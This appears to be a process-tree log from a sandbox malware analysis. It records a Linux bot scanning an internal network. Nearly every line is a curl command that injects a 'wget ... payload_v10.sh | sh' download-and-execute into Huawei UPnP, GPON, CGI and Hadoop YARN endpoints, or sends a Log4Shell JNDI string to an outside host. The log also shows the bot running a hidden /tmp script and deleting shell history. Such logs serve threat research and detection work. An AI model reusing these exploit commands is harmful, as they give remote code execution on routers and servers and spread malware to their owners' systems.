                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST http://10.127.0.129:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1470
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -g "http://10.127.0.121/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1329
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.129/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1473
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.122/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1362
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -X POST "http://10.127.0.122:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.129:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1477
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.121:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.125/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1382
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -g "http://10.127.0.125/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.121/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -g "http://10.127.0.131:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -g "http://10.127.0.130:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1397
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.122:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1490
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.131:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.132:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.130/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1403
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/cat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chmod +x /tmp/.wd.sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:969
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /tmp/.wd.sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /tmp/.wd.sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:970
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sleep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sleep 30
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/ss
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ss -tn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1486
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            grep -q ":80\\|:443"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1487
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              grep -q ":80\\|:443"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1509
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "~/.bash_history" /root/.ash_history /root/.sh_history
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:971
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.101:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.101/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1169
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.106/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1215
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.102/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1213
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.102:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.106:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1214
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.108:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1222
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.104:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1231
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.104/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.103:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1237
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.103/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.103/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1238
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.115/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1247
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.10:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1250
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.115:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1246
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.10/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1251
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.107:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1252
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.107/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1253
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -g "http://10.127.0.107:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.100:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1254
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.100/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1255
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.118:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1257
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.118/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1258
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.116:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1265
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.116/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1266
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.110/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1271
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.110:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1270
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.109:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.109/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1277
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.11:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.11/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1281
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.111/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1287
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.111:8080/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1286
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.108/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1223
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
